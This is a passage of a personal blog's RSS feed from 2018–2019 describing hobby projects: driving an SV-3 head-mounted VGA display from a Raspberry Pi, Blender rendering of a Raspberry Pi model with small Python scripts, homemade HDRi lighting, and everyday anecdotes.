SV-3: Signal</code>

---STOP THE PRESSES---

As I was writing this up, I added a comment that the same result was obtained when cold booting the Pi rather that resetting it. But I had not done that, so I set it the scenario up expecting the same failure and ... it only worked.

So, all that palaver, including a massive posting to stackoverflow was a bit of a waste.

Got to think how I can use it now :)


For reference I previously used the following tools to try and resolve and diagnose the previous issues.

<code>
/opt/vc/bin/tvservice -m CEA

/opt/vc/bin/tvservice -s

/opt/vc/bin/tvservice -d edid.dat 

/opt/vc/bin/edidparser edid.dat 

get-edid

xrandr -q -d :0
</code>

Then these are the settings I tried in the [em]config.txt[/em]

<code>
hdmi_ignore_edid=0xa5000080

hdmi_edid_file=1    #file added to /boot/edid.dat

hdmi_group=1    #CEA
hdmi_mode=1     #VGA 640x480
hdmi_mode=2     #480p 
hdmi_mode=3     #480p H


hdmi_group=2    #DMT
hdmi_mode=4     #640x480 60 Hz
</code>
</description>
</item>
<item>
<title>cannot see the pi for the vga signal</title>
<pubDate>Sat, 09 Feb 2019 11:28:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2019.html#p090220191128</link>
<description>
Back near the [url title="turn of the century"]Feb2004.html[/url], before kids, I purchased a rather unique item. A SV-3 Instrument Viewer. 
I even created a [url title="couple of pages for it"]/misc/sv-3/sv-3p1.html[/url], this was before the b/flog had tags.

The SV-3 Instrument Viewer is a VGA 640x480 monitor embedded in a pair of glasses with a mirror to view the results through a single eye (can be moved from right to left). Think Google Glass but without the computer or the camera.

It has a rather strange particularity in that it is 6bit colour. If you try and give it 8bit colour the colours in the extra two bits are a bit scrambled and I am sure they used to flash, angrily.

I did not do much with it, but always had great aspirations. I did create a Javascript based Japanese app that showed different symbols in black and white in a random slideshow. The idea was to learn subliminally and I had a spare port on my Linux setup. X was more than happy to have an extra monitor that was tiny and I has scripts that used the standard X [em]geometry[/em] parameters to locate it correctly on the extra screen.

To be fair, I had packed it away and had forgotten all about it.

So I came across it in a spring clean attempt and decided that a tiny Raspberry Pi would be ideal to make it portable, my number one bug-bear with the SV-3.

Plan
<ol>
<li>get a Pi Zero W(ireless)</li>
<li>install new Raspbian on SD</li>
<li>attach adaptor to VGA</li>
<li>tell the Pi to run in 640x480</li>
<li>Profit!!</li>
</ol>

The first one was easy as I am not doing anything with my [url title="Pi Super-computer"]Mar2018.html#p030320181320[/url].
Downloading and installing Raspbian is straight forward.
VGA adaptor ... The Pi Hut has a nice HDMI-&gt;VGA adaptor, but the Pi Zero has a Micro HDMI. So I end up with a rather ugly Pi-&gt;dongle-&gt;dongle-&gt;VGA cable setup.
I expected to be telling X about the resolution, but the Pi handles that in the [em]config.txt[/em] file.

and ...

<code class="output">no signal</code>

try all the settings and read lots of very old posts.

<code class="output">no signal</code>

Now I am convinced the SV-3 is broken, so I grab an old VGA monitor and plug it in. 

Works perfectly...

Just before I pack everything away, I just plug the VGA cable back into the SV-3...

And it WORKS! The standard Pi background looks perfect no flickering or anything.

technical details next time.
</description>
</item>
<item>
<title>i appreciate blender and you appreciate the blender poster</title>
<pubDate>Fri, 08 Feb 2019 22:20:10 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2019.html#p080220192220</link>
<description>
Back in September 2018 I came across [url title="Blender Appreciation Poster "]http://blenderappreciation.manujarvinen.com/[/url] linked from [url]https://www.blendernation.com/2018/09/18/blender-appreciation-poster/[/url] and now the latest version includes my image!

<img src="http://blenderappreciation.manujarvinen.com/poster/v006.jpg" alt="Blender Appreciation Poster v6">

can you guess which is mine?

That said, the project organiser is not too motivated to take the idea any further.
</description>
</item>
<item>
<title>pixel 3 peddling a rebble pebble</title>
<pubDate>Fri, 08 Feb 2019 22:09:39 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2019.html#p080220192209</link>
<description>
I got a new Google Pixel 3 phone, it is not [url title="Blue"]Mar2017.html#p120320172220[/url] but it was free (for work).

There is not much to say about the changes from the [url title="Pixel Blue"]Mar2017.html#p120320172220[/url] original. The transfer by cable was good and I was able to update credentials or all the apps it automatically installed/copied.

The one I was dreading was the Pebble app controlling my [url title="Pebble Time watch"]Jun2015.html#p280620152140[/url]. No watch faces, not even the ones that were already installed on the watch :(

But I knew there was a community that had been working to allow the Pebble to continue now Pebble now more/is FitBit.

[url]http://rebble.io[/url]

The website is not the most user friendly but if you dig through there is a link to [url]https://boot.rebble.io/[/url] and after you have logged in the on a browser on your phone with the Pebble App it all starts working by magic!

Well, not quite that simple, but the instructions explain how you may need to shut the Pebble App and re-open it and then [em]Magic![/em]

Then all the [url title="https://apps.rebble.io/en_US/watchapps"]Apps and watch faces[/url] just work. There are so many different ideas/designs and they are nearly all free.

There are also lots of new [url title="https://apps.rebble.io/en_US/watchapps"]Apps and watch faces[/url] that have been added in the last couple of years.

Amazing work and I will be able to enjoy my watch for years to come.
<img src="images/pebble_faces.jpg" alt="photos of my pebble time watch showing custom watch faces">
</description>
</item>
<item>
<title>skydiving surfing but no jumping</title>
<pubDate>Fri, 08 Feb 2019 21:38:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2019.html#p080220192138</link>
<description>
Skydiving (tunnel) [CHECK]
Surfing (with un-aided standing in wave-rider) [CHECK]
Jumping from 125ft tower [FAIL]

Skydiving was a lot of fun and I found it surprisingly easy to float unsupported.

I had done surfing at the Wave-Rider before, but never managed so much as a single second standing on the board un-aided. This time I found it quite simple, but I could do no more than standing.

I got into all the climbing gear and jump harness and climbed all the tiny maintenance ladders and got clipped into the rapid decent mechanism ... and then I chickened out and had to climb all the way down.
The climb itself was quite an experience and the view at over 125ft was amazing, so I consider that a win (small win).

And that was my Christmas present.

The voucher I was given even had the price and at around &pound;20 per activity it was a very good deal. Staff were particularly helpful through out the booking and then very friendly for the activities.

Recommended.  

[ur]http://www.twinwoodsadventure.com/[/ur]

<img src="images/skydiving_tunnel_20190202.jpg" alt="photo of a photo taken of me skydiving in the twinwoods tunnel">
not worried about facial recognition getting anything from that ;)
</description>
</item>
<item>
<title>black not black enough for true pi</title>
<pubDate>Mon, 21 Jan 2019 21:38:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p210120192138</link>
<description>
Still not right. 

The Ethernet black plastic has too subtle dirt.

USB ports metal looks good now.

Studying the Ethernet port and comparing to the physical device has shown all my "black" plastic is not dark enough.
</description>
</item>
<item>
<title>dirt runs away with pi render with no power</title>
<pubDate>Sun, 20 Jan 2019 11:37:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p200120191137</link>
<description>
Yesterday I tried to render the new [url title="dirty Pi"]Jan2019.html#p170120192224[/url] as an animation, but we had two 0.5 second power cuts. Not the breakers and not just the street, people affected in at least a five mile radius.

In the end, left it rendering over night with 10 frame increments, so only 36 frames total.

Looks good! Except the insides of Ethernet port and the USB ports.

<img src="images/pi_rpi3b_bad_dirt_frame0261.png" alt="Rendering of Raspberry Pi showing over zealous use of dirt maps">

The flakes that work so well on the CSI connectors black plastic look completely wrong inside the Ethernet port. Although the outside of the USB ports looks good the inside looks bizarre.

Back to the drawing board and at least I did not render 10x the frames before I found this out.
</description>
</item>
<item>
<title>getting down and dirty with the pi in blender</title>
<pubDate>Thu, 17 Jan 2019 22:24:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p170120192224</link>
<description>
As [url title="previously mentioned"]Jan2019.html#p090120192254[/url] everything is to damn clean!

Time to get down and dirty.

After some experimentation I found the best procedural dirt map was via the Noise Node.

<img src="images/node%20setup%20for%20dirt%20and%20scratch%20procedual%20material.png" alt="Blender nodes for dirt map creation">
Here the Noise Node has a high scale factor 32. This keeps the results nice and small. The Distortion creates non uniform shapes, like scrapes and blobs rather than simple dots. Again, this is quite high 7.3.
This mess get piped into a Color Ramp that restricts the output to a very small window of colour. Otherwise we just end up with noise. This way we end up with a few tiny, odd flakes of white.

<img src="images/node setup%20for%20dirt%20and%20scratch%20procedual%20material2.png" alt="Blender nodes for dirt map creation light variation">
Of course you do not always want a stark result. This time the Color Ramp is creating a larger spectrum of allowed values where the strongest is light grey, not white.
This version creates more of a mottled, smudge effect.

I rendered the Ethernet ports with this new double dirt map and could only see the flakes. Denoising was "fixing" all my colour aberrations :)

After "dirtying" almost all the materials in the scene, I still need to work on the circuit board. It has all the [url "previous maps"]Dec2018.html#p301220181242[/url] making this a lot more complicated. Found the electronic traces are a bit too jagged, needs some anti-aliasing, but without ruining the height effect!
</description>
</item>
<item>
<title>python autosmooth port fix worked after all</title>
<pubDate>Mon, 14 Jan 2019 22:17:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p140120192217</link>
<description>
As per [url title="that last post"]Jan2019.html#p100120192311[/url]. Tried tweaking the Autosmooth, but every value caused some kind of issue. Time to fix the geometry.

Good thing I had been playing with the code.
<code>
import bpy
import bmesh
obj = bpy.context.edit_object
me = obj.data 
bm = bmesh.from_edit_mesh(me)
print("=======")
for f in bm.faces:
    if f.select:
        print("")
        for v in f.verts:
            print(v.co.y)
            v.co.y = 2.5824263095855713
</code>

Tweaked to affect all Faces that are Selected, I would select a the ring of faces around an inset and it would align each Vertex to the same Y position.

It was worth all the work.
<img src="images/pi_rpi3b_before_after_ethernet_frame_0329.jpg" alt="Two renders comparing the ethernet ports with and without vertex manipulation">

and you know it is real because the "after" shows the Camera plastic :)

p.s. Obviously I made a similar change to the other side of the port and then deleted the other one and duplicated the new. Working at the close up I also ended up going to town doing lots of tiny geometry fixes.
</description>
</item>
<item>
<title>my favourite autosmooth value eats shading for lunch</title>
<pubDate>Thu, 10 Jan 2019 23:11:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p100120192311</link>
<description>
I thought fixing the [url title="odd shading on the Ethernet ports"]Jan2019.html#p090120192254[/url] was going to be easy or at least straight forward.

NO!

First up I tried removing unnecessary Faces and Edges as I did [url title="previously"]Nov2018.html#p171120182158[/url]. Improvements were made but not by much and not where I wanted them.

Then I wondered if the Vertices was ever so slightly miss-aligned along the Y axis. Wrote some code, proved my point and ... did not fix the issue.
<code>import bpy
import bmesh
obj = bpy.context.edit_object
me = obj.data 
bm = bmesh.from_edit_mesh(me)
print("")
for v in bm.faces.active.verts:
  print(v.co.y)
  v.co.y = 2.5824263095855713
</code>

Then I turned on all the Normal tracer lines and ... hmmm what are they doing pointing there?

On some of the edges of the main faces where the shading issue is there are adjoining faces that are at 25&deg;. Why is this important? Because [url title="autosmooth 30&deg;"]tags.html?tag=autosmooth[/url] is my magic number.

Anything under 30&deg; is rendered Flat shading and anything over is Smooth shading. So, it is working as I asked it too :(

What to do?
I could change the Autosmooth 30&deg; to 24&deg; but I do not know what impact it might have elsewhere. Or I could change the angle of the adjoining faces. Or I could create an inset, so the transition to the "bad" angle is only on the tiny inset.
</description>
</item>
<item>
<title>always look for the simple material answer before going all node</title>
<pubDate>Thu, 10 Jan 2019 21:24:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p100120192124</link>
<description>
So all that fancy testing in [url title="the last post"]Jan2019.html#p090120192321[/url] was a bit unnecessary...

Turns out I had just managed to assign the Material to those internal faces, DOH!

Still, it was then an easy fix. Pity it took almost an hour to workout why my amazing Node fix was not working!
</description>
</item>
<item>
<title>not normal backfacing node test works</title>
<pubDate>Wed, 09 Jan 2019 23:21:01 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p090120192321</link>
<description>
So to fix the Ethernet texture appearing on the inside I created a test.

This is the Default scene/Cube with a single face cut away. The two faces perpendicular to the missing face on the horizontal have been Unwrapped as "UVMap".

The Texture sets up a basic Red and Yellow BSDF controlled by a Wave pattern. The clever bit is also using the Backfacing information to only allow the affect to effect that outside of the Cube. When that is not there the pattern is visible on the inside of the Cube faces.
<img src="images/texture_outside_only_test.png" alt="blender partial screenshot of node layout hiding texture from backfacing faces">

I did try using the Normal as the control but did not get good results.
</description>
</item>
<item>
<title>true render of pi shows the ugly side of hdri</title>
<pubDate>Wed, 09 Jan 2019 22:54:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p090120192254</link>
<description>
The animation completed rendering for the new and improved [url title="Raspberry Pi HiRes Project"]/raspberrypihiresproject.html[/url] 

and ...

I found some problems during the viewing of the video.

The black plastic on the CSI camera connector had vanished (again), now fixed.
The Ethernet reflective texture is working too well and showing up inside the connector. Never seen that before, but now I am using HDRi lighting.
The USB ports have an odd, though not hugely noticeable, shading issue.
It is all so damn clean! Comparing to the real thing that close up, it seems to teem with dirt and scratches.

The animation did look luscious, barring the above. The gloss and height maps worked perfectly.

<img src="images/pi_rpi3b-remaster-fail-0120.jpg" alt="raspberry pi 3b rendered in blender frame 120">
</description>
</item>
<item>
<title>quick frame update</title>
<pubDate>Tue, 01 Jan 2019 23:53:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p010120192353</link>
<description>
Currently on frame 115 of 359 showing off the new and improved [url title="Raspberry Pi HiRes Project"]/raspberrypihiresproject.html[/url]

Averaging 1 hour per frame. 1920x1080 with DoF and denoising.
</description>
</item>
<item>
<title>yearly summary on day one</title>
<pubDate>Tue, 01 Jan 2019 23:44:28 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p010120192344</link>
<description>
It is 2019 so here is the [url title="2018"]year2018.html[url] review.

Of course the biggest thing was even more [url title="Raspberry Pi HiRes Project"]/raspberrypihiresproject.html[/url]. Not only was the video and model published, but I also started work on improving it :(

<code class="output">
Stats
71 posts (40 tagged as blender)
512 different tags
of which 180 were new</code> 

<code>
find . -mtime -365 | wc -l
find . -atime -365 | wc -l
</code>
atime (access time) seems to match creation time on a etx4 filesystem.

[url title="2018 yearly summary"]year2018.html[url]
[url title="archive of all past posts"]archive.html[url] 
</description>
</item>
<item>
<title>mentioned by famous youtubes</title>
<pubDate>Tue, 01 Jan 2019 17:04:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2019.html#p010120191704</link>
<description>
Meant to post this last year HA!

I was mentioned in two YouTube videos in the last couple of months. One was complaining about a Blender technique but providing a solution that the author thought was well worth highlighting in his follow up video. The other was for some old VHS tapes that I donated to a reviewer and were mentioned in an unboxing. 

I will not toot my own horn, but the Blender one was in one of the many excellent Blender VSE (Video Sequence Editor) videos in the [url title="Blender for blogs"]https://blenderfrenzy.com[/url] series at [url title="BlenderFrenzy"]https://blenderfrenzy.com[/url]. Will not tell you which one!

When the VHS review comes out I will link to that. [url title="Nostalgia Nerd"]https://www.youtube.com/user/nostalgianerdvideos[/url]. Lots of good and quite varied stuff.
</description>
</item>
<item>
<title>oh dear what can the glossy be</title>
<pubDate>Sun, 30 Dec 2018 12:42:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2018.html#p301220181242</link>
<description>
So now I have a HDRi to light the [url title="Raspberry Pi HiRes Project"]/raspberrypihiresproject.html[/url].

Here we have the basic height map on a plain circuit board. Using a Bump node to feed the Normal input of Diffuse BSDF.
<img src="images/pi_rpi3b_height_map_experiment001.png" alt="blender screen shot showing height map on a raspberry pi">

Then when I added the gloss map as an additional (but slightly lower) height map we get annoying ridges. I expected the white+white would equal white and the same max height, I was wrong :(
<img src="images/pi_rpi3b_height_map_experiment002.png" alt="blender screen shot showing combined height maps on a raspberry pi">

So to combat this I set a maximum one from the other. The Subtract node is there to just make the gloss source a little less intense as a height map.
<img src="images/pi_rpi3b_height_map_experiment003.png" alt="blender screen shot showing combined height maps on a raspberry pi balanced with maximum limit">

With height all sorted lets move on to gloss. Cool! it just works.
<img src="images/pi_rpi3b_height_map_experiment004.png" alt="blender screen shot showing gloss map on a raspberry pi">

But mixing the Gloss and the Height maps does not work :( I tried quite a few combinations.
<img src="images/pi_rpi3b_height_map_experiment005.png" alt="blender screen shot showing gloss map and height maps on a raspberry pi, not looking right">

Hmmm now it looks like it is has water spilled over it. This made me go back and manually redraw a load of circuit traces.
<img src="images/pi_rpi3b_height_map_experiment00X.jpg" alt="blender render of 3D a raspberry pi textures not quite right">

The quest for the perfect Pi continues !
</description>
</item>
<item>
<title>krita luminance quick tip</title>
<pubDate>Sun, 30 Dec 2018 12:13:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2018.html#p301220181213</link>
<description>
Very quickly. Not only can [url title="Krita"]https://krita.org[/url] save true 16bit images (.hdr/.exr) but is can also edit the luminance values.

To do this go to Settings->Docker->LUT management.

The Krita documentation talks about setting up LUT profiles on your graphics card to match your monitor but if all you want to do is play, then just "LUT management" will do.
</description>
</item>
<item>
<title>fake hdri from a blue pixel gimp curve</title>
<pubDate>Sun, 30 Dec 2018 12:03:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2018.html#p301220181203</link>
<description>
So to improve the <a href="/raspberrypihiresproject.html">Raspberry Pi HiRes Project</a> work I needed better lighting. I love the idea of HDRi High Dynamic Range images but to create them correctly takes a lot of time and specialist equipment.

It does not help that there are various uses for HDRis and that can get people very confused. When I am talking about HDRi it is for 3D lighting in Blender but when Googling the internets most discussions are on HDR photography and Tone-maps to produce interesting photographic results.

In my head it is very simple, a Equirectangular image describing 360&deg; and a luminance map defining what is bright and what is not. When doing this correctly, multiple shots of the same scene are taken at different exposures and combined to create a true HDRi.

Well, it took some searching but I finally found a process to create my own HDRis with only a few bits of software, my Pixel phone and the [url title="SD card reader from xmas 2018"]Dec2018.html#p301220181114[/url].

Step one; Get a 360&deg; image. 
Ignore Google documentation that says only the Pixel2 and 3 can take Photo-Spheres.
Take a Photo-Sphere with the Pixel Blue. This requires trying to keep the camera still while twisting it to take 30 or so images of all angles.
Wait for the magic. This removes all the ugly edges but can create some weird blurring. As this is only going to be used as lighting in Blender I made little effort to keep it perfect.
Insert SD card in to the USB Type A connector port on the reader and attach the USB Type C connector to the Pixel phone. Use [em]Explore[/em] to copy JPG image across.
Then eject USB and plug the USB Type A connector directly in to the Linux PC without removing the SD card, copy the file.
Step two; Fake exposures.
I found [url title="an old tutorial"]https://www.garmahis.com/hdr-tutorial-free-software/[/url] for using [url title="qtpfsgui now called Luminance HDR"]http://qtpfsgui.sourceforge.net[/url]. It had a quick note at the bottom about faking exposures in GIMP. 
Using the Curves tool, drag the center point one grid reference diagonally down for underexposure and save it and then do the same, one grid reference diagonally left and up to create and overexposure.
Hit a small problem here [url title="Luminance HDR"]http://qtpfsgui.sourceforge.net[/url] wants true 16bit input files and the Linux version of GIMP does not have that yet! Luckily [url title="Krita"]https://krita.org[/url] does.
[url title="Krita"]https://krita.org[/url] is super powerful but really aimed at professionals. To get the images saved.
Load them up one at a time and go to Image-> Convert Image color Space-> 16bit then save as exr/hdr (exr seems to be better when in Blender).
Step three; Create and HDRi.
[url title="Luminance HDR"]http://qtpfsgui.sourceforge.net[/url] is a bit overwhelming but the [url title="tutorial"]https://www.garmahis.com/hdr-tutorial-free-software/[/url] said to just accept the defaults. When the exposure values are found missing enter 0 for the original, +2 for the overexposed image and -2 for the underexposure.
After a short while it creates a true HDRi. Obviously YMMV with your own images.

Finally we can set the Texture type to be Environment for the Background in Blender and add the DHRi. When I tried the .hdr file I needed to set the power to 125 whereas the .exr just worked.

<img src="images/PANO_20181227_145448_mini.jpg" alt="360 photograph of my home office taken with Pixel Blue">
<img src="images/PANO_20181227_145448_over_mini.jpg" alt="360 photograph of my home office taken with Pixel Blue overexposure faked in GIMP">
<img src="images/PANO_20181227_145448_under_mini.jpg" alt="360 photograph of my home office taken with Pixel Blue underexposure faked in GIMP">

</description>
</item>
<item>
<title>gifted lightmine craves sd card phone adaptor</title>
<pubDate>Sun, 30 Dec 2018 11:14:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2018.html#p301220181114</link>
<description>
The <a href="/raspberrypihiresproject.html">Raspberry Pi HiRes Project</a> is not going as well as I had hoped. The height map and gloss map interfere. I can get the to not effect each other but then I loose the functionality of the gloss.

So here we have a quick look at some Xmas presents I got this year, there is method in my madness.

The big lump of metal is just a key-ring with screwdriver bits, very heavy. The Sea-mine looking thing is called a light-mine and each protuberance is a magnet. It has a bright LED and an On/Off switch and that is it. Can be stuck to a car or PC chaise with the LED pointing where it is needed.
<img src="images/xmas2018_lightmine.jpg" alt="photograph of metal key-ring and lightmine">

But the best was this SD card reader for phones. One connector is Lighting for iPhones, standard micro USB for Android and older devices and USB type C for newer gadgets like my Google Pixel Blue phone. If that was not cool enough, the Type A USB connector for the PC has the SD card reader built in! The block of plastic that defines which way up the Type A connector is used is thin enough to accept my Micro SD card and still work as a USB thumb-drive in Linux.
<img src="images/xmas2018_sdcard_adaptor.jpg" alt="photograph of SD card USB phone adaptor">

Now why am I tell you all this?

"please hold the line ... normal service will resume shortly"
</description>
</item>
<item>
<title>metal map hampered by saturation bleed as expected</title>
<pubDate>Thu, 27 Dec 2018 11:23:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2018.html#p271220181123</link>
<description>
I want to track the hours now on the <a href="/raspberrypihiresproject.html">Raspberry Pi HiRes Project</a>.

So; 
 1hr playing with <a href="http://boundingboxsoftware.com/materialize/">Materialize</a>, excluding all the time watching tutorials. Time, not wasted, but lost :(
 1hr marking the paint as the height map.
 2hrs trying to get the traces for the shiny map.

The shiny/metal/smooth (or whatever fits) map is a real pain. The Height map was based off where the white paint was on the board. The electrical traces are almost the same colour as the board and because of my less than stellar photography it is not a neat isolatable shade.

That said I did get to use the GIMP Curves and Contrast/Brightness to capture a lot and I then drew a number of traces with ease by hand.

Here is the final map scaled down, bit messy.
<img src="images/raspberrypi3_metal_map_500x500.png" alt="black and white trace map for a raspberry pi 3b">

You can see three different types of traces on the map. Traces that came out with GIMP selection, traces that are very messy and obviously contain non-trace elements based on colour/saturation bleed. And traces that I drew by hand. Using the GIMP line tool I found that holding down [em]CTRL[/em] would constrain the angle. You can see the before-and-after where the angles are not quite 45 and 90.  
<img src="images/raspberrypi3_metal_map_sample.png" alt="black and white trace map sample for a raspberry pi 3b">

This all in contrast to the height map.
<img src="images/raspberrypi3_height_map_500x500.png" alt="black and white height map for a raspberry pi 3b">
</description>
</item>
<item>
<title>selecting a height map of Pi paint</title>
<pubDate>Sun, 23 Dec 2018 23:37:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2018.html#p231220182337</link>
<description>
It is like a writers-block clearing. All of a sudden I *have* to create, I cannot watch TV or play games!

Well it is back to the <a href="/raspberrypihiresproject.html">Raspberry Pi HiRes Project</a>!

I had a look at <a href="http://boundingboxsoftware.com/materialize/">Materialize</a> and it is crazy powerful for creating height/normal/smooth maps and the tutorials really show how good it is. But after some playing around I found my Pi source images are not good enough, what with colour bled and bad contrast.

For the last hour I have been going through with GIMP selecting any white paint and then switching to a Black layer and filling the selection with White. Then hiding the Black layer and Clearing the selection on the main image.

This has worked really well to be all the weird bits of colour/shadow/bleed etc.

Once this height map it done I will move over to the Smooth/Shiny map.
</description>
</item>
<item>
<title>xmas early with delays paid for by amazon coins</title>
<pubDate>Fri, 21 Dec 2018 21:24:10 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2018.html#p211220182124</link>
<description>
Random flog log:
Today was the Xmas party on time :- too early, burger delay, pizza fallback all paid with amazon coins.

Slight expansion; Amazon refused to take my money(J) and after jumping through multiple hoops found that we had bought something twice when all attempts had reported failure.

Most of the my time spent trying to bypass all the "help" on the amazon site and speak to someone.
</description>
</item>
<item>
<title>a dust machine eats zombie drives</title>
<pubDate>Tue, 11 Dec 2018 22:45:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2018.html#p111220182245</link>
<description>
I did something very rare a couple of days ago. I rebooted my machine, total up-days 116, which is my expected estimate/average.

I have a old spinning rust HDD that I only ever kept to use as a scratch drive and every year I marvel that it still works. It holds things like Raspberry Pi disk images and random stuff that is not really important but often is big. The drive is slow.

One of it's jobs is holding podcasts downloaded by podget/cron in expectation that I will insert a USB key and run my podcast scripts. Then it stopped working, dead, linux did not recognise the drive being connected :(

But what was worse was that when I rebooted the machine my original SSD (48GB) also failed to show!

I shut the machine down and opened it up. Hmmm, it is full of dust! So I then spent 30mins just carefully blowing in compressed air and hovering up the dust that came up. All the fans were pretty gummed. Then I wiggled all the cables, nothing felt loose and then sighed and said goodbye to the drives :(

Booted up and magically both drives came up happy as anything. Not to mention the machine is now whisper quiet!
</description>
</item>
<item>
<title>moar blender physics videos</title>
<pubDate>Sat, 24 Nov 2018 13:16:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2018.html#p241120181316</link>
<description>
Here is some other stuff I have done in recent months.

Some very quickly modelled apples which were array'd, made real and rigid bodied. 
The video is in two parts; part 1 has a small problem with the centers of the apple object and part 2 has that fixed.
<iframe width="560" height="315" src="https://www.youtube.com/embed/pZjl6O-LuBM" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

It is very interesting. Blender has no concept of where an objects center of mass is, so uses it's [em]Origin point[/em] for the rigid body calculations. My apples all have their [em]Origin point[/em] at the center of the scene and so fall as if all the apples are falling as little marbles in one place. As soon as I set the [em]Origin point[/em] to the center of the individual objects geometry the simulation acts as expected.

Then there was some fun with very basic building blocks that created spheres using the [em]Hair emitter[/em].
<iframe width="560" height="315" src="https://www.youtube.com/embed/j31PIQWpvl8" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

and then again but ensuring the emitter location was set to [em]volume[/em] and the distribution to [em]Grid[/em]
<iframe width="560" height="315" src="https://www.youtube.com/embed/EQGegiM0tPc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

Then a bit more physics. I saw this [url title="Blendernation post about Keva blocks"]https://www.blendernation.com/2018/06/15/making-collapsing-tower-simulations-in-blender-cgc-weekly-11/[/url] and it has sat in my favourites waiting for ages.
My take was to add motion blur, DoF and strong lights, producing a stark contrast.
<iframe width="560" height="315" src="https://www.youtube.com/embed/6eADxiouzrQ" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Very watchable...
</description>
</item>
<item>
<title>live pi really</title>
<pubDate>Sat, 17 Nov 2018 23:43:01 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2018.html#p171120182343</link>
<description>
And just like that the [url title="Raspberry Pi HiRes Project"]/raspberrypihiresproject.html[/url] is live!

The video is also live.

<iframe width="560" height="315" src="https://www.youtube.com/embed/Q6FS9sRJcDQ" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

The file has been uploaded to [url]https://www.blendswap.com/blends/view/92876[/url] (currently in the moderation queue).
</description>
</item>
<item>
<title>you disolved what limited</title>
<pubDate>Sat, 17 Nov 2018 21:58:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2018.html#p171120182158</link>
<description>
The [url title="Raspberry Pi HiRes Project"]/raspberrypihiresproject.html[/url] bug bit me today(finally)

Went through the model looking at the geometry and there was quite a bit of wastage. But I found a new way of removing obviously extraneous geometry, [em]Limited dissolve[/em].

Here you can see the CSI connector made of lots of faces and then again after the [em]Limited dissolve[/em].
<img src="images/rpi_limited_disolve.png" alt="two screenshots showing blenders limited dissolve" >

Go into [em]Edit mode[/em] and select the faces, click the [em]Delete[/em] button in the [em]Tool Shelf[/em] and from the options select [em]Limited dissolve[/em]

Spent a hour repeating that and also removing duplicated or old geometry that was hidden inside other parts of the mesh.
</description>
</item>
<item>
<title>who is blocking the project me me me</title>
<pubDate>Wed, 14 Nov 2018 20:57:27 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2018.html#p141120182057</link>
<description>
I am getting really fed up with a certain person. They are the sole reason I have not yet released the [url title="Raspberry Pi HiRes Project"]/raspberrypihiresproject.html[/url]

I am, of course, talking about me. From illness to family concerns, I have no excuses.

I know it is bad, because rather than work on the project I watched "Howard the Duck" last night. Unfortunately I can point to many opportunities lost to TV and film.

Am I really afraid of completing the project?

I certainly have seen this sort of behaviour in the past, but I usually just get over it after a bit.

Maybe this post will spur me on...
</description>
</item>
<item>
<title>pi update what has bmw got the raspberry for</title>
<pubDate>Thu, 25 Oct 2018 09:56:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2018.html#p251020180956</link>
<description>
Time for a [url title="Raspberry Pi HiRes Project"]/raspberrypihiresproject.html[/url] update

The video is done, but not uploaded yet.
The [url title="Raspberry Pi HiRes Project"]/raspberrypihiresproject.html[/url] is work-in-progress but is quite far along.
The final .blend file has yet to be compiled. That just means tidying up and packing the textures (and testing).

I came across an interesting issue while building the video. The Raspberry Pi trademark is prominently shown as part of the textures and so is the chip manufacturer's.

From what I can gather (for UK and USA laws/precedents) as long as I do not claim to own or be associated with the trademarks/brands I can distribute my artistic creations.

There seem to be a lot of artists that do distribute 3D models with trademarks included who do not include disclaimers. I intend to make clear that as a user of my Model you are bound to your local laws regarding copyright and trademark usage.

Famously BMW had all the 3D car models removed from turbosquid, but did not go after the BMW model in the Blender demo files. Many believe that this is because on turbosquid the models were being sold. 
[url title="BMW Trademark Turbosquid search results(DuckDuckGo)"]https://duckduckgo.com/?q=bmw+trademark+turbosquid&ia=web[/url]

The next problem is how/where to distribute the model.
</description>
</item>
<item>
<title>linux pries open the seedy windows underbelly wtf rtf</title>
<pubDate>Mon, 08 Oct 2018 22:45:54 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2018.html#p081020182245</link>
<description>
